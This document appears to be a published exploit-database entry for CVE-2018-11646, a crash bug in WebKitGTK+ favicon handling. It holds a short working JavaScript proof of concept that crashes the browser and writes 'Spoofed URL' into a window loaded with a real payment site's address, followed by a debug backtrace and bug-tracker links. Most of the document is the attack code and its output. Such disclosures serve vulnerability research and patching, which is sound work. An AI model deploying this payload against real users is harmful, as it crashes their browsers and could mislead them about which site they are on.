66 lines
No EOL
2.8 KiB
Text
66 lines
No EOL
2.8 KiB
Text
# Title: WebKitGTK+ < 2.21.3 - Crash (PoC)
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# Author: Dhiraj Mishra
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# Date: 2018-06-05
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# Software: https://webkitgtk.org/
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# CVE: CVE-2018-11646
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# Summary:
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# webkitFaviconDatabaseSetIconForPageURL and webkitFaviconDatabaseSetIconURLForPageURL in
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# UIProcess/API/glib/WebKitFaviconDatabase.cpp in WebKit, as used in WebKitGTK+ through 2.21.3,
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# mishandle an unset pageURL, leading to an application crash, CVE-2018-11646 was assigned to this issue.
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# PoC:
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<script>
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win = window.open("sleep_one_second.php", "WIN");
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window.open("https://www.paypal.com", "WIN");
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win.document.execCommand('Stop');
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win.document.write("Spoofed URL");
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win.document.close();
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</script>
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Backtrace using fedora 27:
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#0 WTF::StringImpl::rawHash
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at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 508
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#1 WTF::StringImpl::hasHash
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at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 514
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#2 WTF::StringImpl::hash
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at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 525
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#3 WTF::StringHash::hash
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at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringHash.h line 73
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#9 WTF::HashMap, WTF::HashTraits >::get
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at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/HashMap.h line 406
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#10 webkitFaviconDatabaseSetIconURLForPageURL
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at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitFaviconDatabase.cpp line 193
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#11 webkitFaviconDatabaseSetIconForPageURL
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at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitFaviconDatabase.cpp line 318
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#12 webkitWebViewSetIcon
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at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitWebView.cpp line 1964
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#13 WTF::Function::performCallbackWithReturnValue
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at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/GenericCallback.h line 108
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#15 WebKit::WebPageProxy::dataCallback
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at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/WebPageProxy.cpp line 5083
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#16 WebKit::WebPageProxy::finishedLoadingIcon
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at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/WebPageProxy.cpp line 6848
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#17 IPC::callMemberFunctionImpl::operator()
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at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/glib/RunLoopGLib.cpp line 68
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#29 WTF::RunLoop::::_FUN(gpointer)
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at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/glib/RunLoopGLib.cpp line 70
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#30 g_main_dispatch
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at gmain.c line 3148
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#31 g_main_context_dispatch
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at gmain.c line 3813
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#32 g_main_context_iterate
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at gmain.c line 3886
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#33 g_main_context_iteration
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at gmain.c line 3947x
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#34 g_application_run
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at gapplication.c line 2401
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#35 main
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at ../src/ephy-main.c line 432
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# Reference's:
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# https://bugs.webkit.org/show_bug.cgi?id=186164
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# https://bugzilla.gnome.org/show_bug.cgi?id=795740 |